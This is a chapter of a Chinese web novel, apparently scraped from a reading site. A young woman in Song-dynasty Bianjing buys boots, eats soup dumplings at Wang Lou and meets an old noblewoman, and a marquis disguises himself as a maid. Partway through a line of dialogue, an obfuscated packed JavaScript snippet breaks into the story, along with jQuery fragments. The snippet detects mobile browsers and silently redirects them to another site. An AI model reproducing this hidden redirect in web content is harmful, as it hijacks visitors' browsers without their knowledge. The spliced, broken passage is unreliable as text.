17. 王楼山洞梅花包

作品:《汴京饮馔食记

    雪路难行。


    街巷上虽已有了车辙和脚印,却还是因为湿滑让孟嫣不得不放慢了步子。


    汴京城里并非都是砖石路,将化未化的雪混着泥沙已经变的灰扑扑的,每走一步,孟嫣的鞋袜都湿上一分,也脏上一分。


    市井百姓对此已经习以为常,依旧面不改色地赶着路。


    出了巷子,到了宽阔街道,车马多了起来,都朝着城门的方向一拥而去。


    其中不乏宝盖华车,里面坐着不知谁家闺秀。


    亦有身穿锦袍披着狐裘的高门子弟打马而过,嘴里还朝同伴嚷着:“快些!若是等人多了起来,城郊的好景致可就都被糟蹋了!”


    原来是去城郊赏雪。


    果真,雅兴这东西都是在生活无忧的基础之上才有。


    孟嫣低头看了看自己的鞋袜,要是有暖靴就好了。


    昨日在成衣铺子并未见到暖靴,她还问了一嘴,女掌柜说汴京城这些年穿不到这个,她就没多想。


    毕竟气候也捉摸不定,或许这些年汴京都是暖冬呢!


    孟嫣幽幽叹息一声,继续朝牙行走去。


    牙行里,还是那日的王牙婆在,见到孟嫣笑问:“小娘子考虑好了?可要寻个长契女使?”


    孟嫣点了点头。


    王牙婆:“小娘子可有什么要求?”


    孟嫣想了想:“为人本分,做事勤快就好。”


    王牙婆:“那小娘子午前再过来,定给小娘子寻个满意的。”


    孟嫣道谢,刚要离开,又回身问道:“王妈妈,州桥这边可有卖暖靴的?”


    王牙婆笑道:“这成衣铺子或专门卖鞋履的铺子都有暖靴,小娘子不知道?”


    王牙婆这才看向孟嫣的鞋,问:“小娘子的鞋可是在州桥头处的那家成衣铺子买的?”


    孟嫣点了点头。


    王牙婆立时变脸,啐骂道:“那家掌柜就是个黑心肝的,专骗那些南来北往对汴京城不熟的人,那掌柜可是跟你说汴京人都不穿暖靴?”


    孟嫣摇了摇头,诚实道:“她说汴京穿不到这个。”


    王牙婆“呸”了一声:“听她胡吣!一定是她们铺子短货了,才睁着眼睛瞎咧咧!”


    孟嫣:……原来被骗了。


    这也怪她自己,懒得去多走几家,去货比三家,直接去了门面看起来最为阔气的一家店,就想一站买齐。


    却没想到女掌柜为了多卖她两双鞋没说实话。


    孟嫣同王牙婆道谢后,又去了成衣铺子,这次多看了两家,最后在一家鞋铺里买了两双没过脚踝的鹿皮靴,又顺便买了长袜,当即换上。


    湿湿凉凉一早上的脚终于暖了起来,孟嫣的肚子也饿了。


    抬头就见对街一家门面宽阔,门头上的牌匾写着“王楼山洞梅花包子”的铺子。


    也是包子铺?和鹿家包子有什么区别?


    现在孟嫣不想吃包子,只想吃碗热乎乎的汤面。


    刚要去寻觅别的吃食,就见经过的两个书生模样的人说道:“走走走,去王楼,初雪映红梅,最该吃这梅花包子,不仅合景,那一口鲜香的汤汁都能暖到肺腑里!”


    孟嫣竖了竖耳朵,竟是抬起脚步,也跟在二人后面去了王楼。


    进了店,孟嫣没想到王楼一大早食客就这么多,几近满座。


    难不成都是奔着什么“初雪映梅花”来的?


    孟嫣扫了一眼其他食客的桌上,上面都放着小笼,难道是小笼包?


    孟嫣一边暗自腹诽,一边随着伙计落了座,又问了问何为山洞梅花包子。


    伙计笑着解释道:“咱家的包子收口处会留一处凹坑,形似山洞,而包子皮上的褶皱看上去又像梅花,所以就叫山洞梅花包子。”


    听起来就是普通的包子,因着外形取了这个名字。


    宋人可真雅致,是她这种俗气之人理解不了的。


    既然没什么特别,孟嫣的好奇淡了不少,只要了两笼尝个味道,然后去吃份热乎乎的汤面。


    很快,蒸笼就送了上来,随着蒸笼上来的还有一只装有姜丝的碟子。


    孟嫣愣了一下。


    看了看姜丝,又看了看蒸笼。


    这……是灌汤包啊!


    她吃过最好吃的灌汤包,就会配一碟姜丝和一碟米醋。


    姜丝浸在酸香柔和的米醋里,没有一丝辛辣,汤包一蘸送入口中,汤汁溢出,混合着米醋的甜酸,每一处都是恰到好处的味道。


    醋的酸味重上一分就夺了肉汁香,只会觉得涩口。


    肉汁浓上一分就盖过了醋的味道,只会觉得发腻。


    汤包只有现做的提起来才会如一只软袋,轻轻一晃,面皮跟着左右摇摆。


    否则若是冷了或是预制的,汤汁虽然还有,面皮却也定了形,就成了包子形状的水饺了。


    孟嫣不再发愣,在桌上找到装有米醋的滴壶,倒在装有姜丝的碟子里,细细的姜丝和米醋融合,夹起一只随着筷子轻晃的汤包,在碟子里浸了浸,送入口中。


    好烫!


    孟嫣张嘴缩舌缓了一会儿,才慢慢闭上嘴缓缓嚼了起来。


    就是这个味道!


    灌汤包的汤汁,有的是在包的时候加入肉皮冻,蒸制后肉冻化开变成汤汁,喜欢肉汁油香的更愿意吃这种。


    而有的则是将高汤分次加入肉馅中,蒸制后会将肉馅中的肉香混着高汤凝结出来形成汤汁,喜欢淡口一些的更愿意吃这种。


    王楼包子用的就是后面这种方法,汤包.皮轻轻戳开,就会看到汤汁透亮留了出来。


    都说吃灌汤包要先要开一个小口,将汤汁喝掉,然后再将包子吃掉,这叫“先开窗,后喝汤。”


    但孟嫣喜欢整个送入口中,让汤汁在口中爆开。


    若是将汤先吸溜光了,再吃汤包,那吃汤包的意义是什么?为何不配一碗肉汤加一份饺子?


    自然,孟嫣的这种吃法一不小心就很容易被烫到,想来“开窗喝汤”的吃法是为了舌头的安全着想吧!


    既然是孟嫣喜欢的姜丝灌汤包,两笼自然是不够的,孟嫣又加了三笼,还又要了两碟姜丝,还重新泡了醋,因为第一碟的姜丝醋的味道已经淡了。


    伙计和周围的食客眼神都变了,何曾见过小娘子一下就吃五笼?还是这么瘦瘦小小的一位小娘子?


    孟嫣正埋头再汤包的鲜美中,根本没注意到周围人的异样。


    正当她吃最后一笼时,头顶响起来一道慈祥的声音:“丫头,不介意我坐这里拼个桌吧?”


    孟嫣一只包子刚送入口中,还没来得及嚼,抬头就见一位老夫人笑眯眯地站在桌子对面,身侧还跟着一位老嬷嬷。


    老夫人穿的再素净不过,可周身却透出与周遭截然不同的尊贵气质。


    孟嫣朝四周看去,原来已经坐满了。


    她摇了摇头,迅速将口里的汤包吃掉,才轻声说了句:“不介意。”


    那嬷嬷扶着老夫人坐下,又同伙计点了两笼汤包,这才关切地念叨开来:“老夫人下次要吃这王楼包子,还是让下人们来买吧,这天寒地冻的,您要是有个什么好歹,怎么跟侯爷交代?”


    老夫人却先“哼”了一声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943831|192745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“那泼皮整日里见不着个影儿,都不知还记不记得有我这个祖母!”


    然后又笑眯眯道:“这王楼包子要现做现吃才好,若是买回去这汤汁都凝了,吃起来还有什么滋味?”


    嬷嬷还要说,老夫人又笑眯眯道:“行啦,你就别念叨我了,我这不就出来一回吗?”


    嬷嬷只好无奈地闭了嘴。


    孟嫣已经将最后一只包子送入口中,擦了擦嘴朝对面二人笑了笑付过账就起身离开了。


    老嬷嬷见孟嫣走远了才低声惊叹道:“这小娘子的胃口可真好!满汴京城估计都找不出一个能吃的过她的女子!”


    老夫人又笑眯眯:“能吃好,能吃是福啊!”


    老嬷嬷又笑了:“对对对,像您一样,有福气!”


    孟嫣在王楼吃包子时,王牙婆又奔去了小甜水巷,将孟嫣要寻长契女使一事告知了萧遇三人,让他们午前把选的人送到牙行去。


    林檎正敷着欢娘配的面药,王牙婆走后,他指了指自己的脸道:“这要怎么办?”


    三人也觉得很突然,本以为孟嫣怎么也要过十天半月再寻女使,到时候林檎的脸多多少少也可以将就糊弄一下。


    可现在林檎这面药才敷了没几日,涂脂擦粉依旧掉渣,怎么都扮不成女使了。


    三人沉默了半晌。


    戍安暗暗暼向了自家侯爷,轻声咳了咳。


    萧遇:“有话就说。”


    戍安试探:“要不……侯爷您去?”


    话音一落,林檎的眼珠子差点瞪了出来。


    当初让他扮女使他都不情愿,侯爷可是顶天立地的汉子,将来可是要带领他们收复燕云的,怎可扮成女使?


    林檎觉得戍安脑子莫不是进风了?如若不然,怎么能说出这么异想天开的话?


    而萧遇沉思片刻却干脆地“嗯”了一声。


    林檎彻底呆住了。


    莫不是他耳朵出了毛病?


    正当他想再确认一下时,戍安已经起身出门,他看向自家侯爷,自家侯爷只淡淡暼了他一眼,这是在告诉他闭嘴。


    林檎只好委委屈屈地憋着。


    不消片刻,戍安就带回来了一身女子衣裳,除此之外,还有一副假头帘。


    林檎面药已经洗净,拿过头帘问:“这是什么?”


    戍安看向他那对已经被剃的细细弯弯的眉毛,没忍心告诉他。


    可林檎却追着他后面问。


    戍安:“给侯爷遮眉眼的,这样就不用剃眉毛了。”


    林檎:……


    萧遇已经换了衣衫,戍安又帮他上妆易了容,假头帘遮住了那对剑眉,连狭长的凤眼都少了气势,看上去柔和了许多。


    若是不看身板,这张脸看起来比林檎更像女子。


    若是侯爷的脸和林檎的小身板融合一下就好了。


    戍安遗憾地想。


    萧遇照了照镜子,对自己这副妆容竟有几分满意,觉得自己这样可以混进敌营杀个七进七出都不会被发现。


    戍安忽而想起什么,道:“侯爷,到时候您就装哑巴吧,现在去跟欢娘学女声已经来不及了。”


    萧遇倒是忘了这一茬了,遂点了点头。


    正满意的欣赏自己的模样,戍安又拿出了两颗大小均匀的梨。


    萧遇疑惑拧眉。


    戍安:“女子那里得鼓起来。”


    萧遇憋了憋,直到脸都憋红了方说了一句:“……不用!”


    戍安摸了摸鼻子,将梨扔给林檎一个。


    林檎接过,在袖子上蹭了蹭,咬了一口,真甜。